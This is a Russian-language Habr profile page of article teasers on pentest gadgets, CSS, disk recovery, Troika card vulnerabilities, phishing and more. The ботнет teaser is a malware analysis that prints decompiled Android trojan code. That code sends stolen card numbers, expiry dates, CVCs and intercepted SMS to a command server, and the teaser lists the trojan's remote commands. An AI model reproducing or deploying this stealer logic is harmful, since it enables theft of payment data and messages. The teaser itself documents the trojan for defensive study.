Pull to refresh
2
0
Send message

[Личный опыт] Работа в Uber в Амстердаме: как устроена разработка, карьерный рост, подготовка к интервью

Reading time9 min
Views22K

В нашем блоге мы уже не один раз рассказывали о переезде в Нидерланды (раз, два). Разработчики, которые оказались в Амстердаме в один голос говорят о том, что с точки зрения технологий и подходов к разработке среди местных ИТ-компаний в лучшую сторону выделяется Uber.

Сегодня нам удалось поговорить Алиной Коваленко, которая работает в компании в должности Software Engineer II. Алина поделится своим опытом переезда и даст несколько полезных советов.

Поехали!
Total votes 24: ↑17 and ↓7+19
Comments20

Flipper Zero — пацанский мультитул-тамагочи для пентестера

Reading time10 min
Views286K
Flipper Zero — Multi-tool Device for Hackers

Warning

Информация в статье устарела, Flipper Zero был полностью пеработан на другой платформе. Актуальная информация в нашем блоге blog.flipperzero.one


Flipper Zero — проект карманного мультитула на основе Raspberry Pi Zero для пентеста IoT и беспроводных систем контроля доступа, который я разрабатываю с друзьями. А еще это тамагочи, в котором живет кибер-дельфин.

Он будет уметь:

  • Работать в диапазоне 433 MHz — для исследования радиопультов, датчиков, электронных замков и реле.
  • NFC — читать/записывать и эмулировать карты ISO-14443.
  • 125 kHz RFID — читать/записывать и эмулировать низкочастотные карты.
  • iButton ключи — читать/записывать и эмулировать контактные ключи, работающие по протоколу 1-Wire.
  • Wi-Fi — для проверки защищенности беспроводных сетей. Адаптер поддерживает инъекции пакетов и мониторный режим.
  • Bluetooth — поддерживается пакет bluez для Linux
  • Режим Bad USB — может подключаться как USB-slave и эмулировать клавиатуру, ethernet-адаптер и другие устройства, для инъекции кода или сетевого пентеста.
  • Тамагочи! — микроконтроллер с низким энергопотреблением работает, когда основная система выключена.

Я с волнением представляю свой самый амбициозный проект, идею которого я вынашивал много лет. Это попытка объединить все часто необходимые инструменты для физического пентеста в одно устройство, при этом добавив ему личность, чтобы он был милым до усрачки.
В данный момент проект находится на стадии R&D и утверждения функционала, и я приглашаю всех поучаствовать в обсуждении функций или даже принять участие в разработке. Под катом подробное описание проекта.
Читать дальше →
Total votes 176: ↑173 and ↓3+231
Comments162

Как сделать ваш HTML отзывчивым, добавив одну строку кода на CSS

Reading time4 min
Views64K
Привет, Хабр! представляю вашему вниманию перевод статьи «How to make your HTML responsive by adding a single line of CSS» автора Per Harald Borgen.



В этой статье я научу вас, как использовать CSS Grid для создания крутой сетки изображений, которая изменяет количество столбцов в зависимости от ширины экрана или окна браузера.

Самое крутое, что для добавления отзывчивости потребуется написать одну строчку кода на CSS
Читать дальше →
Total votes 79: ↑69 and ↓10+59
Comments38

Самостоятельная диагностика жестких дисков и восстановление данных

Reading time22 min
Views246K
В данной статье описываются методы самостоятельной диагностики различных неисправностей жестких дисков по симптомам их проявления, а также способы относительно безопасного клонирования жестких дисков с незначительными проблемами.

Рассмотрены различные случаи утраты данных и набор оптимальных действий, которые без глубоких знаний устройства файловых систем с помощью программ автоматического восстановления помогут вам вернуть вашу информацию без посторонней помощи.

Но прежде, чем приступить к каким-либо самостоятельным действиям, необходимо внимательно ознакомиться со всеми материалами статьи, и только потом анализировать состояние вашего жесткого диска, чтобы ваши попытки не стали последними в жизни накопителя, и чтобы оными вы не лишили себя последних надежд на восстановление нужных вам данных.


Читать дальше →
Total votes 101: ↑99 and ↓2+97
Comments114

Исследование защищенности карты Тройка

Reading time18 min
Views203K
Карта тройка

Карта Тройка представляет из себя универсальный пополняемый электронный кошелек, широко используемый в системах оплаты общественного транспорта Москвы с 2013 года.

Цель данного исследования — выяснить защищенность системы электронного кошелька от подделки баланса, оценить безопасность инфраструктуры, работающей с картой. Вся работа была выполнена без использования специальных технических средств. Использовался дешевый смартфон на платформе Android и персональный компьютер. Общее время, затраченное на исследование, составило 15 дней.

В ходе работы был успешно проведен реверс­-инжиниринг мобильного приложения «Мой проездной», что позволило получить доступ к памяти карты и изучить структуру хранения данных. Были найдены уязвимости, позволяющие выполнить подделку баланса, записанного на электронном кошельке карты Тройка. В результате чего стало возможным использование систем, поддерживающих карту, без оплаты.

Итогом исследования стала разработка приложения TroikaDumper, позволяющего эксплуатировать уязвимости системы электронного кошелька.

Внимание! Данные материалы представлены исключительно в ознакомительных целях. Подделка проездных билетов является уголовным преступлением и преследуется по закону.

Читать дальше →
Total votes 380: ↑374 and ↓6+368
Comments348

Восьмибитные анекдоты

Reading time4 min
Views60K
«Анекдот — небольшой забавный, смешной рассказ» (Из толкового словаря).
Наверное, надо бы предупредить читателей, что мол «Детям до 40 лет читать не рекомендуется». Но я, пожалуй, этого делать не буду. Все чинно и благородно.


Читать дальше →
Total votes 155: ↑154 and ↓1+153
Comments182

Повлияла ли работа математика Джона Нэша на появление Биткоин?

Reading time3 min
Views8.1K
Трэвис Патрон, автор книги "Революция Биткоин: интернет денег", объясняет, каким образом известный американский математик Джон Нэш мог повлиять на создание криптовалюты биткоин.

image

Можно ли приписать Джону Нэшу, находившемуся на переднем фронте математической и экономической мысли со своей идеей "идеальных денег" приписать заслугу в формировании электронных денег, известных как «криптовалюты»?

В одной из своих лекций он утверждал:
Особый товар, или средство, которое мы называем деньгами, имеет долгую и интересную историю. И поскольку мы так сильно зависим от его использования, и находимся под влиянием желания иметь большее их количество и не потерять то, что у нас уже есть, мы склонны к иррациональному мышлению на их счёт. Поэтому мы можем упускать из виду технологические аспекты их использования и возможности использовать их более-менее эффективно.


Нэш описал концепцию идеальных денег как некоей единицы стандарта измерений, то есть, нечто вроде ватт, часов или градусов.

Он утверждал, что идеальные деньги должны представить приемлемое решение парадокса Триффина (ключевое противоречие Бреттон-Вудской системы):
Для того чтобы обеспечить центральные банки других стран необходимым количеством долларов для формирования национальных валютных резервов, необходимо, чтобы в США постоянно наблюдался дефицит платёжного баланса. Но дефицит платёжного баланса подрывает доверие к доллару и снижает его ценность в качестве резервного актива.

Читать дальше →
Total votes 9: ↑6 and ↓3+3
Comments3

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6+356
Comments143

Обзор частых вопросов по тестированию ПО на собеседованиях и ответы на них

Reading time21 min
Views654K
Главная цель данной статьи – помочь преодолеть страх, который возникает у тестировщиков ПО (как начинающих, так и опытных) к предстоящему интервью в связи с незнанием грядущего.

Второстепенная цель – собрать воедино основные вопросы, которые, вероятней всего, будут заданы на собеседовании. Как у начинающего тестировщика, у меня уже скопился определенный опыт подготовки к собеседованиям на данную должность, и я могу заметить, что даже специализированные QA форумы не справляются с этой целью, а может и не ставят ее перед собой вообще.

Перечень вопросов разумеется не окончательный и не претендует на образцовость, а выступает лишь своеобразным ориентиром при подготовке специалистов с тестирования ПО.
Читать дальше →
Total votes 24: ↑19 and ↓5+14
Comments24

Примеры фишинговых сообщений электронной почты

Reading time5 min
Views137K


Я не случайно поставил в заглавие поста картинку с котиком. Это один из примеров манипулирования человеческим сознанием, апеллирование к жалости. Методы воздействия злоумышленников, использующих такие приемы, находятся в области практической психологии и относятся к cоциальной инженерии. Играя на эмоциях, чувствах, страхах и рефлексах людей злоумышленники получают доступ к интересующей их информации. Все эти методы используются злоумышленниками при создании фишинговых почтовых сообщений.

Внимание, под катом много изображений.
Читать дальше →
Total votes 47: ↑44 and ↓3+41
Comments34

Алкомат

Reading time4 min
Views53K
Иван Арнольдович, покорнейше прошу, пива Шарикову не предлагать.
профессор Преображенский. «Собачье Сердце»

Как-то, путешествуя по просторам Интернет, увидел разработку Rumbot. Мне всегда нравилось чем-то управлять и в итоге пришла идея улучшить разработку и привнести в нее новые элементы. Получился проект, включающий в себя не только разработку железа и софта, но также и 3D-моделирование корпуса, экскурс в изготовление мебели, работа со звуком, некоторые хитрости работы барменов и многое другое, что сопутствовало разработке. Получился забавный аппарат для вечеринок с друзьями. Главное было пройти весь путь от идеи до разработки конечного продукта. Аппарат позволяет делать алкогольные коктейли для пяти человек. Назвал я его «Алкомат».



Подробности ниже. Много больших фото.
Читать дальше →
Total votes 96: ↑93 and ↓3+90
Comments112

50 лучших инструментов для разработки CSS и JavaScript

Reading time3 min
Views74K
Веб-разработчику постоянно необходимо быть в курсе появления новых библиотек и инструментов. Я нашёл и выбрал несколько лучших инструментов для разработки как CSS, так и JavaScript. Это не просто копипаста – это выборка, основанная как на рекомендациях, так и на личном опыте использования.

Разработка фронтэнда – штука хитрая. И хотя она не слишком сложная для освоения, некоторые тонкости освоить также не помешает. В сети ежедневно появляются отличные ресурсы. Они могут дать толчок развитию ваших навыков и помочь вам лучше выполнить вашу задачу.

Лучшие инструменты для CSS и JavaScript


1) Fileicone

Сборник 100%-CSS файловых иконок. Может пригодиться для дизайна страниц.

image

2) Marx

Элегантное обнуление CSS безо всякого JavaScript.

image
Читать дальше →
Total votes 54: ↑36 and ↓18+18
Comments17

Обход блокировок adblock, и блокировка обхода блокировки

Reading time2 min
Views92K
В статье рассматривается один из эффективных методов противодействию adblock, и обход этого метода. Этот круг вечен – но, похоже, рекламщики вырвались вперёд!



Как-то раз на одном сайте администрация вежливо попросила пользователей добавить сайт в исключения адблока. Я, как сознательный пользователь, это сделал – но появившаяся реклама через какое-то время стала совсем не похожа на допустимую рекламу, и я включил адблок снова. К моему удивлению, реклама не исчезла – и я стал разбираться, в чём тут дело.
Читать дальше →
Total votes 44: ↑36 and ↓8+28
Comments114

Для всех и каждого. Лучшие альтернативы action-камерам GoPro

Reading time9 min
Views31K
За последние несколько лет на рынке электроники для съёмки фото и видео выделился и прочно закрепился полноценный сегмент продуктов – action-камеры. О том, в чём достоинство таких девайсов на фоне классических средств съёмки, было сказано уже много, давно и подробно, в первую очередь – на примере камер компании GoPro: они компактные, удобны для путешествий и экстремальных вылазок, могут быть оборудованы различными аксессуарами, не говоря о главной фиче – возможностью понаблюдать за тайной жизнью своего кота.


Камера рекламирует сама себя – неудивительно, ведь GoPro делает камеры давно и очень качественно, пытаясь захватить все ниши сравнительно молодого рынка. Всё в ней хорошо… кроме цены – чтобы стать участником GoPro-сообщества, придётся неплохо потратиться. На помощь приходят китайские производители, благодаря которым у покупателей есть несколько альтернатив с не менее впечатляющей функциональностью и гораздо более доступной ценой. В преддверии зимнего action-сезона поговорим как раз об альтернативных камерах – добро пожаловать под кат.
Читать дальше →
Total votes 23: ↑21 and ↓2+19
Comments45

Мегаобзор микрофонов для записи подкастов

Reading time13 min
Views56K


Мы очень внимательно следим за тем, что происходит в сфере подкастинга и принимаем регулярное участие в записи одного из наиболее востребованных подкастов в Рунете – передаче «Звук».

Создание передачи – это отдельная история с множеством разнообразных нюансов. Сегодня мы поговорим об одном из них и посмотрим, какие микрофоны для записи подкастов рекомендуют эксперты вроде Марко Армента.
Читать дальше →
Total votes 25: ↑24 and ↓1+23
Comments29

Почему писать скрипты для борьбы с «браузером Амиго» — зло?

Reading time9 min
Views80K
Прочитав пост про удаление ненужного софта мне в который раз стало очень грустно. Автор предлагает «эффективное решение» по избавлению от всякого нежелательного софта, вроде упомянутого «амиго». И если некоторые части скрипта еще можно назвать, ну хотя бы безвредными, то удаление и запрет на запись "%username%\AppData\Local\Apps" выглядит как откровенный саботаж. Плохо еще и то, что такой или аналогичный по механике «полезный скрипт» некоторые всерьез считают действенной мерой. Это далеко не первая статья, от которой у меня сводит скулы, вижу что многие не понимают с чего вообще нужно начинать настройку безопасности в Windows-среде.

Представляю читателям мое видение списка минимально необходимых настроек и действий (в первую очередь для Windows-домена), чтобы никогда не видеть непонятных браузеров и свести риск вредоносного ПО к абсолютному минимуму. Некоторые описанные решения могут показаться спорными, и мало того, они таковыми и являются. Но заранее прошу, увидев первое предложение какого-то пункта, не спешите писать комментарий, прочитайте мысль до конца, возможно у вас отпадут вопросы.
Почему я не знаю как выглядит браузер Амиго?
Total votes 90: ↑77 and ↓13+64
Comments203

Освоение специальности Data Science на Coursera: личный опыт (ч.2)

Reading time8 min
Views29K


Мы публикуем вторую часть поста Владимира Подольского vpodolskiy, аналитика в департаменте по работе с образованием IBS, который закончил обучение по специализации Data Science  на Coursera. Это набор из 9 курсеровских  курсов от Университета Джонса Хопкинса + дипломная работа, успешное завершение которых дает право на сертификат.

Читайте в первой части: О специальности Data Science в общих чертах. Курсы: Инструменты анализа данных (программирование на R); Предварительная обработка данных; Документирование процесса обработки данных.

Часть 2
Читать дальше →
Total votes 14: ↑13 and ↓1+12
Comments4

Пудра для мозга или как сделать порошок для посудомойки в 9,7 раз дешевле

Reading time11 min
Views287K


Update
Новый вариант порошка и более подробный разбор во второй части: DIY порошок для посудомойки: разбираем промышленные средства и улучшаем рецепт

Сейчас расскажу, как из соды и стирального порошка сделать порошок для посудомоечной машины. Такой же по составу, только дешевле на порядок.

Есть очень много областей нашей жизни, где наше представление формирует исключительно маркетинговый буллшит. Увы, большинство людей даже не пытаются задумываться о том, что лежит в основе всего этого. Очень часто рыночная ситуация приводит к тому, что себестоимость продукта составляет 0.5% от его цены. Остальное маркетинг, наценки, логистика, упаковка и тому подобное. Почти все в курсе про концепцию продажи чернил для принтера по цене слез гималайских девственниц и настойчивые рекомендации производителей использовать только оригинальные расходные материалы. Например, совсем недавно меня озарило, что 1.5 грамма сухого вещества во флаконе удобрений для растений не могут стоить 200-250 рублей. А ведь именно такое количество может уместиться в относительно стабильном состоянии в виде раствора. Я сразу представил себе гектары полей и грузовики, которые везут тонны порошка. В результате перешел на расфасовки по 1 кг Буйских комплексных сухих удобрений. Можно ванну раствора приготовить.

Сегодня будем создавать ультра-дешевый порошок для посудомойки. Уменьшение реальной зарплаты и удорожание импортной бытовой химии заставило перерыть учебники, просмотреть кучу материалов с форумов химиков и попытаться найти способы экономии на расходниках. Очень уж ощутимо стал стоить порошок. Результаты вдумчивого исследования и экспериментов сильно удивили. Для промышленного применения чаще всего химиками-технологами создаются индивидуальные рецептуры в зависимости от качества воды и задач. Почему бы нам не попробовать разобраться во всем этом?

TLDR:

70% прокаленной соды и 30% стирального порошка вместо моющего средства.
Если очень лень возиться с содой, то просто порошок Биолан или его аналоги. Сода удешевляет.
Пищевая соль «Экстра» вместо соли.
Да начнутся адские эксперименты!
Total votes 159: ↑158 and ↓1+157
Comments447

Adminer — веб-интерфейс для баз данных размером в один .php файл

Reading time1 min
Views84K


В свете недавнего поста про сравнение PostgreSQL и MySQL, в комментариях возникла проблема выбора удобного интерфейса для работы с постгресом. Я сам столкнулся с такой проблемой, решив поискать альтернативы всем известному phpMyAdmin / php*Admin, который считается стандартом у веб-мастеров.
Читать дальше →
Total votes 61: ↑56 and ↓5+51
Comments53

Освоение специальности Data Science на Coursera: личный опыт (ч.1)

Reading time9 min
Views72K


Недавно Владимир Подольский vpodolskiy, аналитик в департаменте по работе с образованием IBS, закончил обучение по специализации Data Science на Coursera. Это набор из 9 курсеровских курсов от Университета Джонса Хопкинса + дипломная работа, успешное завершение которых дает право на сертификат. Для нашего блога на Хабре он написал подробный пост о своей учебе. Для удобства мы разбили его на 2 части. Добавим, что Владимир  стал еще и редактором проекта по переводу специализации Data Science на русский язык, который весной запустили IBS и ABBYY LS.

Часть 1. О специальности Data Science в общих чертах. Курсы: Инструменты анализа данных (программирование на R); Предварительная обработка данных; Документирование процесса обработки данных.

Привет, Хабр!


Не так давно закончился мой 7-месячный марафон по освоению специализации «Наука о данных» (Data Science) на Coursera. Организационные стороны освоения специальности очень точно описаны тут. В своём посте я поделюсь впечатлениями от контента курсов. Надеюсь, после прочтения этой заметки каждый сможет сделать для себя выводы о том, стоит ли тратить время на получение знаний по аналитике данных или нет.
Читать дальше →
Total votes 30: ↑29 and ↓1+28
Comments17

Information

Rating
Does not participate
Location
Санкт-Петербург, Санкт-Петербург и область, Россия
Registered
Activity